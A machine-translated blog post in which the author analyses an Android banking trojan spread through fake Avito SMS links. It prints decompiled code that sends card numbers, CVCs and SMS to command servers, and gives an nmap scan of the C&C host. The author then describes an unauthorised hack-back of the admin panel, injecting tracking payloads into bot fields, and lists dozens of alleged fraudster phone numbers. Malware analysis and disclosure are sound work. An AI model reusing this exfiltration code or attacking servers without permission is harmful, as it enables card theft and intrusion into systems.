ボットネットを不法に無効化した方法

画像



何も疑わずにavito.ruに広告を投稿しました。 何回そこに行きました! しかし、今回はなんとか失敗しました...

多くの悪人がこのサイトの電話番号を詐欺していることを長い間確信していたので、タクシー、建築材料、緊急時のコンピュータ支援、「8-800-555-3-555-誰かから借りるよりも電話する方が簡単です」と招待状心霊術の戦いはすでに私にとって身近なものですが、今回は何か新しいことがありました。



「あなたの広告はhttp:// ...でのやり取りに興味を持っています」というテキストを含むSMSメッセージが届きます。 そのように、句読点とミスを逃しました。 そして、リンクはavito.apkをダウンロードします。 面白い。



APKの研究



まあ、私はこのAPKが何をするのか見てみるべきだと思った。 apktool + dex2jar + jd-guiの使い慣れたバンドルの結果は、私を満足させませんでした。 クラスの一部はツリーからは見えませんでしたが、それらへのリンクにアクセスできました。 私は、最新のオンラインサンドボックスを使用することにしました。そして、逆コンパイルされたコード、情報、およびダンプトラフィックを含むpcapファイルを受け取りました。 結局のところ、このファイルは私の前にダウンロードされていたので、以前の分析が私の手に落ちました。これは非常に有用でした。



それで、このトロイの木馬は何ができますか:



私のメモからの少しのコード
protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.aca(c()))); arraylist.add(new BasicNameValuePair("number", b)); arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue()))); arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue()))); arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue()))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("set_card.php").toString()); } protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("id", com.avito.aca(b))); arraylist.add(new BasicNameValuePair("info", com.avito.acb(b))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("get.php").toString()); } protected HttpRequestBase a() { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("text", c); jsonobject.put("number", d); jsonobject.put("date", e); HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.aca(b))); arraylist.add(new BasicNameValuePair("sms", jsonobject.toString())); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } catch(JSONException jsonexception) { jsonexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
      
      







これらのコマンドに加えて、トロイの木馬はWifiスリープを無効にし、暗号化されたストレージにアクセスし、Android管理者として自分自身をインストールしようとします(当然、このアクションを取り消すことができる標準のOSダイアログを使用します) トロイの木馬のコードは難読化されていません。一部の行はbase64でエンコードされています。 一般的に、どのようなトロイの木馬であるかは明確ではありません。 コピー&ペーストで収集されたか、他のトロイの木馬などに基づいていますが、ポルトガル語、ドイツ語、英語、Ubuntuフォントの行、ドイツのCommerzbank銀行のアプリケーションからのデータを傍受するためのフォーム、ゲームとフラッシュプレーヤー。



さらなる研究



SMSへの短いリンクが届き、SMSはサーバーi-avito.comへのリンクになりました 。 nmapを介してこのサーバーをスキャンすると、別のドメインdeskdistributor.comが取得されました。これは、ポート443にタイトルがあります。

Nmapスキャン結果
Nmap 6.47( nmap.org )を2014-08-25 17:17 MSKに開始

NSE:スキャン用に118個のスクリプトをロードしました。

NSE:スクリプトの事前スキャン。

17:17にPingスキャンを開始

i-avito.com(91.237.198.115)をスキャン[2ポート]

17:17にPingスキャンを完了し、0.07秒経過しました(合計1ホスト)

1つのホストの並列DNS解決を開始しています。 17:17

1ホストの並列DNS解決が完了しました。 17:17、0.00秒経過

17:17に接続スキャンを開始する

i-avito.com(91.237.198.115)のスキャン[1000ポート]

91.237.198.115でオープンポート22 / TCPを発見

91.237.198.115で開いているポート993 / TCPを発見しました

91.237.198.115でオープンポート80 / TCPを発見

91.237.198.115で開いているポート3306 / TCPを発見しました

91.237.198.115でオープンポート143 / TCPを発見

91.237.198.115で開いているポート110 / TCPを発見

91.237.198.115で開いているポート21 / TCPを発見しました

91.237.198.115でオープンポート53 / TCPを発見

91.237.198.115で開いているポート25 / TCPを発見

91.237.198.115で開いているポート443 / TCPを発見しました

91.237.198.115で開いているポート587 / TCPを発見しました

91.237.198.115でオープンポート995 / TCPを発見

91.237.198.115でオープンポート2222 / tcpが検出されました

17:17に接続スキャンを完了、3.42秒経過(合計ポート1000)

17:17にサービススキャンを開始

i-avito.comで13個のサービスをスキャンする(91.237.198.115)

17:17にサービススキャンを完了、19.97秒経過(1ホストで13サービス)

NSE:スクリプトスキャン91.237.198.115。

17:17にNSEを開始する

NSEを17:18に完了、19.50秒経過

i-avito.comのNmapスキャンレポート(91.237.198.115)

ホストが稼働しています(0.094秒の遅延)。

表示されていません:閉じたポート987個

ポートステートサービスバージョン

21 / tcp open ftp ProFTPD 1.3.4b

22 / tcp open ssh OpenSSH 5.3(プロトコル2.0)

| ssh-hostkey:

| 1024 59:e1:13:d2:a5:e5:bd:50:27:b7:08:8e:d7:42:8d:24(DSA)

| 2048 c3:23:b1:6e:fd:ce:b5:76:5d:2b:32:8a:47:61:d7:44(RSA)

| _ 256 c4:36:5f:c3:31:1d:e1:60:70:b2:4e:9b:8e:3e:d1:79(ECDSA)

25 / tcp open smtp Exim smtpd 4.76

| smtp-commands:s.ee Hello i-avito.com [95.215.45.33]、サイズ20971520、PIPELINING、AUTH PLAIN LOGIN、STARTTLS、HELP、

| _サポートされているコマンド:AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

| ssl-cert:Subject:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 発行者:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 公開鍵タイプ:rsa

| 公開鍵ビット:1024

| 以前は無効:2011-07-19T08:56:59 + 00:00

| 無効:2038-12-03T08:56:59 + 00:00

| MD5:7ca0 14bc e517 e437 b49c aca7 17cc fbc6

| _SHA-1:77bc fd19 856a a562 f719 604a 0461 2093 b012 5405

| _ssl-date:2014-08-25T13:18:58 + 00:00; +現地時間から1分10秒。

53 / tcpオープンドメイン

| dns-nsid:

| _ bind.version:9.8.2rc1-RedHat-9.8.2-0.23.rc1.el6_5.1

80 / tcp open http Apache httpd 2

| _http-methods:OPTIONS応答にAllowまたはPublicヘッダーがありません(状態コード302)

| http-title:404が見つかりません

| _リクエストされたリソースは91.237.198.115/avito.apkでした

110 / tcp open pop3 Dovecot DirectAdmin pop3d

| _pop3-capabilities:UIDL RESP-CODES USER AUTH-RESP-CODE TOP SASL(PLAIN)CAPA PIPELINING STLS

143 / tcp open imap Dovecot imapd

| _imap-capabilities:ポストログインには、LOGIN-REFERRALS ENABLE ID IDLE IMAP4rev1があります。プレログインmore AUTH = PLAINA0001 LITERAL + OK SASL-IR機能がSTARTTLSにリストされています

443 / tcp open ssl / http Apache httpd 2

| _http-methods:オプションGET HEAD POST

| _http-title:deskdistributor.comのセキュアホーム

| ssl-cert:Subject:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = US

| 発行者:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = US

| 公開鍵タイプ:rsa

| 公開鍵ビット:1024

| 以前は無効:2014-06-27T11:21:26 + 00:00

| 無効:2041-11-11T11:21:26 + 00:00

| MD5:5987 e508 bab7 b23c 16a7 2822 53f5 2ae2

| _SHA-1:d6f2 1c00 dcea f10c c049 02ed 2058 0376 619d eb60

| _ssl-date:2014-08-25T13:18:57 + 00:00; +現地時間から1分9秒。

587 / tcp open smtp Exim smtpd 4.76

| smtp-commands:s.ee Hello i-avito.com [95.215.45.33]、サイズ20971520、PIPELINING、AUTH PLAIN LOGIN、STARTTLS、HELP、

| _サポートされているコマンド:AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP

| ssl-cert:Subject:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 発行者:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 公開鍵タイプ:rsa

| 公開鍵ビット:1024

| 以前は無効:2011-07-19T08:56:59 + 00:00

| 無効:2038-12-03T08:56:59 + 00:00

| MD5:7ca0 14bc e517 e437 b49c aca7 17cc fbc6

| _SHA-1:77bc fd19 856a a562 f719 604a 0461 2093 b012 5405

| _ssl-date:2014-08-25T13:18:57 + 00:00; +現地時間から1分10秒。

993 / tcp open ssl / imap Dovecot DirectAdmin imapd

| _imap-capabilities:LOGIN-REFERRALSを有効にするとID IDLE IMAP4rev1が有効になります事前ログイン詳細AUTH = PLAINA0001 LITERAL +ログイン後のSASL-IR機能がリストされますOK

| ssl-cert:Subject:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 発行者:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 公開鍵タイプ:rsa

| 公開鍵ビット:1024

| 以前は無効:2011-07-19T08:56:59 + 00:00

| 無効:2038-12-03T08:56:59 + 00:00

| MD5:7ca0 14bc e517 e437 b49c aca7 17cc fbc6

| _SHA-1:77bc fd19 856a a562 f719 604a 0461 2093 b012 5405

| _ssl-date:2014-08-25T13:18:57 + 00:00; +現地時間から1分10秒。

995 / tcp open ssl / pop3 Dovecot DirectAdmin pop3d

| _pop3-capabilities:AUTH-RESP-CODE SASL(PLAIN)CAPA TOP UIDL RESP-CODES PIPELINING USER

| ssl-cert:Subject:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 発行者:commonName = localhost / organizationName = none / stateOrProvinceName = Someprovince / countryName = GB

| 公開鍵タイプ:rsa

| 公開鍵ビット:1024

| 以前は無効:2011-07-19T08:56:59 + 00:00

| 無効:2038-12-03T08:56:59 + 00:00

| MD5:7ca0 14bc e517 e437 b49c aca7 17cc fbc6

| _SHA-1:77bc fd19 856a a562 f719 604a 0461 2093 b012 5405

| _ssl-date:2014-08-25T13:18:57 + 00:00; +現地時間から1分9秒。

2222 / tcp open http DirectAdmin httpd 1.33.6(登録済み)

| _http-favicon:不明なファビコンMD5:3AE13A3A9C0634B29A2667DCFFC69D87

| _http-methods:OPTIONS応答にAllowまたはPublicヘッダーがありません(ステータスコード404)

| _http-title:DirectAdminログイン

3306 / tcp open mysql MySQL 5.5.31

| mysql-info:

| プロトコル:53

| バージョン:.5.31

| スレッドID:63436701

| 機能フラグ:63487

| 一部の機能:SupportsLoadDataLocal、Speaks41ProtocolNew、Speaks41ProtocolOld、SupportsTransactions、ConnectWithDatabase、IgnoreSpaceBeforeParenthesis、FoundRows、SupportsCompression、DontAllowDatabaseTableColumn、InteractiveClient、Support41Auth、ODBCClientpaglognpolglasspgnolgass、Ignore Long

| ステータス:自動コミット

| _ソルト:![、D7#H "o.2Q" T ^^?] 9B

サービス情報:ホスト:s.ee; OS:Unix



NSE:スクリプトポストスキャン。

17:18にNSEを開始する

17:18にNSEを完了、0.00秒経過

/usr/bin/../share/nmapからデータファイルを読み取ります

サービス検出が実行されました。 nmap.org/submitで誤った結果を報告してください。

Nmap完了:43.49秒でスキャンされた1つのIPアドレス(1つのホストが起動)



インターネットでクイック検索すると、さらにいくつかのドメインが得られました: m-avito.comm-avito.net (176.119.3.51)、 m-avito.info (91.237.198.115)、whoisデータを検索した後、別の不審な1hostドメインが見つかりました.name (94.242.227.67)。情報サイトよりもスタブである可能性が高い。 ウイルス自体は、 jewelrycover.com (91.237.198.124)のドメインにアクセスしますが、これはおそらく買われ過ぎたか、ボットネット管理者がフィッシングを使用してそれを押収しました。



サンドボックスから受信したpcapファイルを自分の手で調べた後、CnCへの完全なリンクと、サーバーに送受信されるデータの形式を見つけました。 ある時間間隔で、モバイルデバイスはget.phpスクリプトにアクセスし、IMEIからMD5ハッシュ、国、電話オペレーターの名前、Androidバージョン、および電話モデルを計算して作成されたIDを毎回渡し、応答としてそれを受信したかどうかコマンドを受け取りました。 デバイスがコマンドを受信した場合、デバイスIDとコマンド名を使用してset_result.phpのサーバーに通知が送信されました。 スクリプトload_sms.phpはすべての着信SMSを送信しました。



ウイルスの調査時には、モバイルSMSバンキングを使用してSberbankの顧客からお金を盗むように設定されていました。サーバーからコマンドを受け取り、デバイスのアドレス帳の最初のアドレスにウイルスへのリンクを送信しました。



まず、サーバーはrent &&&コマンドを送信して、デバイスに着信するすべてのSMSメッセージを受信しました。 次に、INFOメッセージが900-Sberbankのモバイルバンクの番号に送信されました。 クライアントカードに関する情報がサーバーに送信されました。 次に、サーバーは送信された&&&コマンドと各カードの残高要求を送信しました。 その後、Sberbankアカウントに送金する(8,000ルーブル)か、MTSサブスクライバーにアカウントを補充する(3,000ルーブル)ためにチームが送られました。



一般に、起こったことは、Sberbankの顧客からお金を盗む方法についての最近の記事で説明されていましたが、自動的に行われました。

サーバーは他のコマンドを送信しませんでした。 サーバーが、デバイスの所有者がSberbankのクライアントではないというINFOリクエストに対する応答を受信した場合、サーバーからそれ以上の応答は受信されませんでした。

サーバー通信の例
画像

画像

画像

画像

画像





楽しい



ボットの動作をエミュレートする小さなスクリプト作成しました。 そして、どういうわけか、考えが私の頭に忍び込んで、高い確率で、管理パネルに脆弱性がありました。 SQLインジェクションを見つけることができなかったので、送信されたすべての値にスニファー画像を挿入することにしました:オペレーターの名前、デバイスモデルの名前、実行されたコマンドの通知、SMSテキストに 何も起こりませんでした。



侵入者の電話番号を収集するために、スクリプトをループで実行しました。

侵入者番号
ズベルバンク番号:

9687792866 8000

9050391955 8000

9061153023 8000

9663455177 8000

9050253473 8000

9672215694 8000

9663455125 8000

9663455180 8000

9050384603 8000

9687792852 8000





MTS番号:

9877251451 3000

9877251519 3000

9877298049 3000

9877299230 3000

9877298819 3000

9877298775 3000

9818915169 3000

9877299466 3000

9117187631 3000

9877251259 3000

9873389680 3000

9198360569 3000

9873389735 3000

9873389737 3000

9873389766 3000

9877251151 3000

9198227849 3000

9877251169 3000

9877251851 3000

9877251136 3000

9877251226 3000

9877251227 3000

9877154758 3000

9877154761 3000

9877154752 3000

9877154756 3000

9818895780 3000

9818742776 3000

9818740837 3000

9818770491 3000

9877154765 3000

9877154825 3000

9818742764 3000

9877154773 3000

9818894379 3000

9818770342 3000

9818770523 3000


サーバーのスキャンと脆弱性の検索を続けました。 phpmyadminとsquirrelmailがありましたが、それらに脆弱性は見つかりませんでした。 そして、ここで、かなり偶然に、サーバーがクラッシュしました。 ページは開かず、pingは送信されませんでした。 スニッファーを開いたところ、何が見えていますか!?



画像



これは、サーバーをシャットダウンする2時間前に発生しました。 スニファーをより頻繁に監視すると、管理パネルにアクセスできます。 スニファーが捕まえ、リファラーが彼女を導きました。 ほとんどの場合、一部のデータはエスケープされ、一部のデータはエスケープされておらず、管理者はエスケープされたデータを見て、IPが侵害されていることに気付いたため、廃止することにしました。



そのため、ボットネットを恥ずかしく無効にしました。 あなたは公式に中傷し、私に屈辱を与えることができます。



PS



詐欺番号はSberbankセキュリティサービスに送信され、IPアドレスはBeelineセキュリティサービスに転送され、不正行為はホスティング事業者に書き込まれました。

トロイの木馬自体、別のソースコード、pcapファイル、nmapは、SMSなしで無料で結果が得られます



All Articles